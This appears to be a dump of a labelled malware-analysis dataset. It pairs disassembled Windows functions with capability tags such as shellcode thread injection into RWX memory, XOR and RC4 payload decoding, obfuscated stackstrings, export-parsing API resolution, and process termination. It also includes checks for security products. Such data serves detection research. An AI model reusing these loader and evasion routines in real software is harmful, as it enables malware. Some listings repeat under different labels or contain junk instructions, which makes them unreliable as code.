joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409268
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x409362
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.00408e34
mov esi, eax
test esi, esi
jne 0x4092a9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40936c
mov eax, esi
call fcn.00408ee4
mov eax, esi
call fcn.00408f6c
test al, al
jne 0x4092c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40936c
mov ebx, esi
mov dword [ebx + 0x4c], 0xbc610f
mov eax, dword [0x40e7f0]
push eax
call fcn.00409164
mov dword [ebx + 0x40], eax
cmp dword [ebp + 0xc], 0
jne 0x40930c
mov dword [ebx + 0x44], edi
push 0x40
push 0x1000
mov eax, dword [ebx + 0x44]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x48]
mov ecx, edi
mov edx, dword [ebp - 4]
call fcn.004048f0
jmp 0x409332
mov edi, dword [ebp + 0xc]
mov dword [ebx + 0x44], edi
push 0x40
push 0x1000
push edi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x48]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
call fcn.004048f0
lea eax, [ebp - 0x10]
push eax
push 0
push esi
push 0x409220
push 0
push 0
call sub.kernel32.dll_CreateThread
cmp byte [ebp + 8], 0
je 0x409355
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [ebp - 0xc], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40936c
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x409378
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
mov ebx, dword [ebp + 8]
push ebx
push 0
push 0xf001f
call sub.kernel32.dll_OpenFileMappingA
test eax, eax
jne 0x4093f6
push 1
lea eax, [ebp - 0x20]
push eax
call sub.advapi32.dll_InitializeSecurityDescriptor
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x20]
push eax
call sub.advapi32.dll_SetSecurityDescriptorDacl
mov dword [ebp - 0xc], 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
push ebx
mov eax, dword [ebp + 0xc]
push eax
push 0
push 4
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
push 0
push 0
push 0
push 0xf001f
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 4
call fcn.00402ff0
jmp 0x409409
push 0
push 0
push 0
push 0xf001f
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x409414
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
mov eax, dword [ebp + 0xc]
call fcn.00403fd4
xor eax, eax
push ebp
push 0x409476
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp + 0xc]
call fcn.00403fe4
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x104]
mov ecx, 0x104
call fcn.00403e08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40947d
lea eax, [ebp + 0xc]
call fcn.00403cac
ret
Function at 0x401010
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
xor eax, eax
mov dword [esp + 0x14], 0x3c3c5325
mov dword [esp + 0x18], 0x2479213c
mov ecx, 0x3d090c
mov dword [esp + 0x1c], 0x54492b5a
mov dword [esp + 0x20], 0x496c6274
mov dword [esp + 0x24], 0x53465a75
mov dword [esp + 0x28], 0x33425544
mov word [esp + 0x2c], 0x64
mov dword [esp + 0x48], 0x65006b
mov dword [esp + 0x4c], 0x6e0072
mov dword [esp + 0x50], 0x6c0065
mov dword [esp + 0x54], 0x320033
mov dword [esp + 0x58], 0x64002e
mov dword [esp + 0x5c], 0x6c006c
mov word [esp + 0x60], ax
lea esp, [esp]
xor eax, eax
mov byte [esp + eax + 0x68], al
inc eax
cmp eax, 0x6a
jb 0x401092
dec ecx
jne 0x401090
cmp byte [esp + 0x98], 0x30
push ebx
push ebp
push esi
push edi
jne 0x4010ba
lea ecx, [esp + 0x58]
call fcn.004015b0
mov esi, eax
jmp 0x4010be
mov esi, dword [esp + 0x54]
mov edx, 0xe3142
mov ecx, esi
call fcn.004015f0
mov ebx, eax
mov edx, 0xd5786
mov ecx, esi
mov dword [esp + 0x20], ebx
call fcn.004015f0
mov edx, 0x348bfa
mov dword [esp + 0x74], eax
mov ecx, esi
call fcn.004015f0
push 4
push 0x3000
push 0x28600
push 0
mov dword [esp + 0x64], eax
call ebx
mov ebx, eax
movsx edx, byte [esp + 0xd0]
movsx ecx, byte [esp + 0x78]
mov eax, section.2L
sub eax, ebx
imul edx, ecx
mov dword [esp + 0x14], eax
xor edi, edi
mov eax, 1
add dword [eax], eax
add byte [eax], al
mov dword [esp + 0x18], ebx
sub eax, ebx
mov esi, ebx
mov dword [esp + 0x1c], eax
mov eax, 0x504001
sub eax, ebx
imul ebp, edx, 0x16
mov dword [esp + 0x48], eax
mov eax, 2
sub eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x504002
sub eax, ebx
Function at 0x401150
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov dword [esp + 0x44], eax
mov eax, 3
sub eax, ebx
mov dword [esp + 0x40], eax
mov eax, 0x504003
sub eax, ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x50], eax
mov edi, edi
mov eax, 0x4ec4ec4f
mov ecx, edi
mul edi
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x24]
xor al, byte [ebx + esi]
mov ecx, dword [esp + 0x1c]
mov byte [esi], al
mov eax, 0x4ec4ec4f
lea ecx, [ecx + esi]
mul ecx
mov ecx, edi
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x25]
mov ecx, dword [esp + 0x48]
xor al, byte [ecx + esi]
mov ecx, dword [esp + 0x10]
mov byte [esi + 1], al
mov eax, 0x4ec4ec4f
lea ecx, [ecx + esi]
or al, 0x31
mul ecx
mov ecx, edi
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x26]
mov ecx, dword [esp + 0x44]
xor al, byte [ecx + esi]
mov ecx, dword [esp + 0x40]
mov byte [esi + 2], al
mov eax, 0x4ec4ec4f
lea ecx, [ecx + esi]
mul ecx
mov ecx, edi
lea esi, [esi + 4]
shr edx, 3
add edi, 4
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x27]
mov ecx, dword [esp + 0x50]
xor al, byte [ecx + esi - 4]
mov byte [esi - 1], al
cmp edi, 0x28600
jb 0x401170
mov ebx, dword [esp + 0x18]
mov ecx, ebx
call fcn.00401490
movsx ecx, byte [esp + 0x80]
shl ecx, 3
push ecx
push 0x3000
push eax
push 0
call dword [esp + 0x30]
mov ebp, eax
test ebp, ebp
je 0x401476
mov esi, dword [ebx + 0x3c]
mov edx, ebx
add esi, ebx
mov ecx, ebp
mov dword [esp + 0x1c], esi
movzx eax, word [esi + 0x14]
push dword [esi + 0x54]
add eax, 0x18
add eax, esi
mov dword [esp + 0x24], eax
mov eax, ebp
sub eax, dword [esi + 0x34]
mov dword [esp + 0x48], eax
mov dword [esi + 0x34], ebp
xor al, 0xe8
cmp al, byte [edx]
add byte [eax], al
mov eax, dword [esi + 0xa4]
add esp, 4
mov edx, dword [esi + 0xa0]
xor edi, edi
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x80]
mov dword [esp + 0x50], eax
mov eax, dword [esi + 0x84]
mov dword [esp + 0x4c], eax
xor eax, eax
mov dword [esp + 0x40], edx
mov dword [esp + 0x48], eax
mov dword [esp + 0x10], eax
cmp ax, word [esi + 6]
jae 0x401476
mov esi, dword [esp + 0x20]
add esi, 0xc
mov edi, edi
Function at 0x4011c0
Capabilities:
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
mov dword [esp + 0x44], eax
mov eax, 3
sub eax, ebx
mov dword [esp + 0x40], eax
mov eax, 0x504003
sub eax, ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x50], eax
mov edi, edi
mov eax, 0x4ec4ec4f
mov ecx, edi
mul edi
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x24]
xor al, byte [ebx + esi]
mov ecx, dword [esp + 0x1c]
mov byte [esi], al
mov eax, 0x4ec4ec4f
lea ecx, [ecx + esi]
mul ecx
mov ecx, edi
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x25]
mov ecx, dword [esp + 0x48]
xor al, byte [ecx + esi]
mov ecx, dword [esp + 0x10]
mov byte [esi + 1], al
mov eax, 0x4ec4ec4f
lea ecx, [ecx + esi]
or al, 0x31
mul ecx
mov ecx, edi
shr edx, 3
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x26]
mov ecx, dword [esp + 0x44]
xor al, byte [ecx + esi]
mov ecx, dword [esp + 0x40]
mov byte [esi + 2], al
mov eax, 0x4ec4ec4f
lea ecx, [ecx + esi]
mul ecx
mov ecx, edi
lea esi, [esi + 4]
shr edx, 3
add edi, 4
imul eax, edx, 0x1a
sub ecx, eax
sub ecx, ebp
movzx eax, byte [esp + ecx + 0x27]
mov ecx, dword [esp + 0x50]
xor al, byte [ecx + esi - 4]
mov byte [esi - 1], al
cmp edi, 0x28600
jb 0x401170
mov ebx, dword [esp + 0x18]
mov ecx, ebx
call fcn.00401490
movsx ecx, byte [esp + 0x80]
shl ecx, 3
push ecx
push 0x3000
push eax
push 0
call dword [esp + 0x30]
mov ebp, eax
test ebp, ebp
je 0x401476
mov esi, dword [ebx + 0x3c]
mov edx, ebx
add esi, ebx
mov ecx, ebp
mov dword [esp + 0x1c], esi
movzx eax, word [esi + 0x14]
push dword [esi + 0x54]
add eax, 0x18
add eax, esi
mov dword [esp + 0x24], eax
mov eax, ebp
sub eax, dword [esi + 0x34]
mov dword [esp + 0x48], eax
mov dword [esi + 0x34], ebp
xor al, 0xe8
cmp al, byte [edx]
add byte [eax], al
mov eax, dword [esi + 0xa4]
add esp, 4
mov edx, dword [esi + 0xa0]
xor edi, edi
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x80]
mov dword [esp + 0x50], eax
mov eax, dword [esi + 0x84]
mov dword [esp + 0x4c], eax
xor eax, eax
mov dword [esp + 0x40], edx
mov dword [esp + 0x48], eax
mov dword [esp + 0x10], eax
cmp ax, word [esi + 6]
jae 0x401476
mov esi, dword [esp + 0x20]
add esi, 0xc
mov edi, edi

Function at 0x4015f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], edx
xor esi, esi
mov eax, dword [edi + 0x3c]
inc edi
cmp al, 0x8b
inc esp
cmp byte [eax + 3], bh
invalid
mov ecx, dword [eax + 0x1c]
mov ebp, dword [eax + 0x20]
add ecx, edi
Function at 0x4016d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4e24e0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
mov dword [ebp - 0x210], 0
call fcn.0044b7d0
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x210]
push eax
push 0x4cd014
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsQHSafeMain.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x214], 0x208
mov dword [ebp - 0x210], 1
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x401786
mov eax, dword [ebp - 0x214]
shr eax, 1
dec eax
cmp eax, 0x104
jae 0x401786
cmp word [ebp + eax*2 - 0x20c], 0x5c
je 0x40177e
cmp eax, 0x103
jae 0x401786
mov ecx, 0x5c
xor edx, edx
mov word [ebp + eax*2 - 0x20c], cx
mov word [ebp + eax*2 - 0x20a], dx
lea ecx, [ebp - 0x20c]
jmp 0x40178b
mov ecx, 0x4ccfb4
push esi
call fcn.00411220
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, esi
call fcn.0044557a
mov esp, ebp
pop ebp
ret
Function at 0x4919f0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49fced
mov eax, dword fs:[0]
push eax
mov eax, dword [0x4e24e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp + 8], 0
mov ecx, dword [eax]
cmp dword [ecx - 0xc], 0
jne 0x491a40
push esi
mov ecx, 0x4be0b4
call fcn.00411220
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
push str._server_tracking_data
push eax
lea edx, [ebp + 8]
push edx
call fcn.0040f510
add esp, 0xc
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x491a74
push esi
mov ecx, 0x4be0e4
call fcn.00411220
jmp 0x491a84
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.004115b0
add eax, 0x10
mov dword [esi], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x491aaa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x493c70
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x4e24e0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x208
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.0044b7d0
add esp, 0xc
lea ecx, [ebp - 0x22c]
call fcn.00490120
cmp dword [eax + 0x18], 8
jb 0x493cb0
mov eax, dword [eax + 4]
jmp 0x493cb3
add eax, 4
push str.360zip.exe
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
cmp dword [ebp - 0x214], 8
jb 0x493cde
mov edx, dword [ebp - 0x228]
push edx
call fcn.0044556f
add esp, 4
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x493d30
cmp dword [0x4eb68c], 0
jne 0x493d0b
mov ecx, dword [0x4e98d4]
push ecx
call fcn.0040eb70
add esp, 4
test eax, eax
je 0x493d30
push 0x4eb260
lea edi, [ebp - 0x210]
call fcn.00462b40
test eax, eax
je 0x493d30
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044557a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
pop edi
call fcn.0044557a
mov esp, ebp
pop ebp
ret
Function at 0x401d90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401da9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401de4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401de0
lea ebx, [ebx]
cmp esi, eax
jae 0x401de4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401dd0
cmp esi, eax
jb 0x401dea
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x403630
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
mov eax, dword [0x45c5b0]
xor eax, esp
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push 1
push 0
push esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4036b8
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 4]
push edx
push eax
push 0x20006
push eax
push eax
push eax
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4036b8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
mov eax, dword [esp + 4]
push edi
push 1
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4036b8
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00430bec
add esp, 0xc
ret
mov ecx, dword [esp + 8]
xor ecx, esp
xor eax, eax
call fcn.00430bec
add esp, 0xc
ret
Function at 0x404790
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x558
mov eax, dword [0x45c5b0]
xor eax, esp
mov dword [esp + 0x550], eax
push ebx
push ebp
mov ebp, dword [esp + 0x564]
push esi
xor ebx, ebx
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
push 0x124
lea eax, [esp + 0x38]
push ebx
push eax
mov dword [ebp + 0xa4], esi
mov dword [esp + 0x3c], 0x128
call fcn.00434290
add esp, 0xc
lea ecx, [esp + 0x30]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
cmp eax, ebx
je 0x404817
cmp dword [esp + 0x38], ebx
jne 0x404817
mov eax, dword [ebp + 0xa4]
lea edx, [esp + 0x30]
push edx
push eax
call sub.KERNEL32.dll_Process32Next
cmp eax, ebx
je 0x404817
cmp dword [esp + 0x38], ebx
jne 0x404817
lea ecx, [esp + 0x30]
push ecx
mov ecx, ebp
call fcn.00404980
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov dword [0x46c34c], ebx
cmp eax, ebx
je 0x404963
jmp 0x404830
push 0x400
lea edx, [esp + 0x15c]
push ebx
push edx
call fcn.00434290
lea eax, [esp + 0x60]
push 0x5c
push eax
call fcn.00432420
add esp, 0x14
cmp eax, ebx
jne 0x40485c
lea eax, [esp + 0x54]
jmp 0x40485d
inc eax
mov ecx, dword [esp + 0x38]
push ecx
push eax
lea edx, [esp + 0x160]
push 0x44e0d0
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x168]
push eax
call fcn.004450a1
mov ecx, eax
add esp, 0x14
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
lea esi, [ecx + 1]
jmp 0x4048a0
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4048a0
sub ecx, esi
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.00403fe0
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4048c0
sub eax, edx
push eax
push edi
lea ecx, [esp + 0x1c]
push ecx
call fcn.00407100
cmp eax, 0xffffffff
je 0x40491a
cmp dword [esp + 0x56c], 1
jne 0x40490b
mov edx, dword [esp + 0x38]
push edx
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x40490b
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add dword [0x46c34c], eax
mov dword [esp + 0x10], eax
cmp dword [esp + 0x2c], 0x10
jb 0x40492e
mov eax, dword [esp + 0x18]
push eax
call fcn.00412245
add esp, 4
mov edx, dword [ebp + 0xa4]
lea ecx, [esp + 0x30]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
cmp eax, ebx
je 0x40495d
cmp dword [esp + 0x38], ebx
jne 0x404955
lea eax, [esp + 0x30]
push eax
mov ecx, ebp
call fcn.00404980
cmp eax, ebx
jne 0x404830
mov eax, dword [esp + 0x10]
jmp 0x404965
mov eax, ecx
mov ecx, dword [esp + 0x55c]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00430bec
add esp, 0x558
ret 8
Function at 0x4049b0
Capabilities:
Access peb ldr_data
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x446b5b
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x45c5b0]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push edi
mov eax, dword [0x45c5b0]
xor eax, esp
push eax
lea eax, [esp + 0x13c]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov edi, 0xf
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x1c], bl
lea eax, [esp + 0xc]
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftInternet_Explorer
mov dword [esp + 0x154], ebx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x20], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404a3c
push 6
push str.unknow
lea ecx, [esp + 0x20]
call fcn.00403fe0
jmp 0x404b08
push 0x103
lea eax, [esp + 0x39]
push ebx
push eax
mov byte [esp + 0x40], bl
call fcn.00434290
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x18]
push eax
push ebx
push str.Version
push ecx
mov dword [esp + 0x2c], 0x104
mov dword [esp + 0x28], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x404ac8
push 6
push str.unknow
lea ecx, [esp + 0x20]
call fcn.00403fe0
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x20]
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.00404190
cmp dword [esp + 0x30], 0x10
jb 0x404b34
mov ecx, dword [esp + 0x1c]
push ecx
jmp 0x404b2c
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
push 0x44e104
lea ecx, [esp + 0x20]
call fcn.00403fe0
lea eax, [esp + 0x34]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404af0
sub eax, edx
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x20]
call fcn.00403d30
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x20]
push ecx
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], ebx
mov ecx, esi
mov byte [esi + 4], bl
call fcn.00404190
cmp dword [esp + 0x30], 0x10
jb 0x404b34
mov edx, dword [esp + 0x1c]
push edx
call fcn.00412245
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x13c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.00430bec
add esp, 0x13c
ret
Function at 0x404ca0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
mov eax, dword [0x45c5b0]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
mov ebp, dword [esp + 0x13c]
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x1c], esi
call fcn.00434290
add esp, 0xc
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x404cf6
push esi
push esi
push 0x44e118
call fcn.0041339d
xor eax, eax
jmp 0x404d69
lea ecx, [esp + 0x10]
push ecx
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x404d60
lea ecx, [ecx]
push ebx
call fcn.004320c1
lea edx, [esp + 0x38]
push edx
mov esi, eax
call fcn.004320c1
add esp, 8
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x404d45
test cl, cl
je 0x404d41
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x404d45
add eax, 2
add esi, 2
test cl, cl
jne 0x404d25
xor eax, eax
jmp 0x404d4a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404d83
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x404d10
lea esi, [eax + 1]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00430bec
add esp, 0x134
ret 4
mov ecx, dword [esp + 0x18]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push ebp
push 8
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x404d60
Function at 0x405f10
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x446930
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x45c5b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
push ebx
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x405faf
test dword [ebp - 0x14], 0x20
je 0x405f84
cmp dword [ebp + 0x20], 0x10
jb 0x405f6d
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00412245
add esp, 4
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
cmp dword [ebp + 0x20], 0x10
jb 0x405f96
mov edx, dword [ebp + 0xc]
push edx
call fcn.00412245
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
push ebx
push ebx
push ebx
push ebx
mov edi, 1
push edi
push ebx
lea ecx, [ebp - 0x30]
call fcn.00413d92
mov byte [ebp - 4], 2
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x405fd2
lea eax, [ebp + 0xc]
push ebx
push ebx
push edi
push edi
push eax
lea ecx, [ebp - 0x30]
call fcn.004146f8
mov esi, eax
mov dword [ebp - 4], edi
cmp esi, ebx
je 0x40602f
push ebx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0x20000013
mov ecx, esi
mov dword [ebp - 0x1c], 4
call fcn.004136d9
cmp eax, ebx
je 0x406016
mov edx, dword [ebp - 0x18]
add edx, 0xffffff38
cmp edx, 0x63
jbe 0x406019
mov edi, dword [ebp - 0x18]
mov eax, dword [esi]
mov edx, dword [eax + 0x4c]
mov ecx, esi
call edx
mov eax, dword [esi]
mov edx, dword [eax + 4]
push 1
mov ecx, esi
call edx
jmp 0x406032
or edi, 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.0041435c
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], bl
call fcn.0041443f
cmp dword [ebp + 0x20], 0x10
jb 0x406057
mov eax, dword [ebp + 0xc]
push eax
call fcn.00412245
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x4068a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x45c5b0]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x104
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
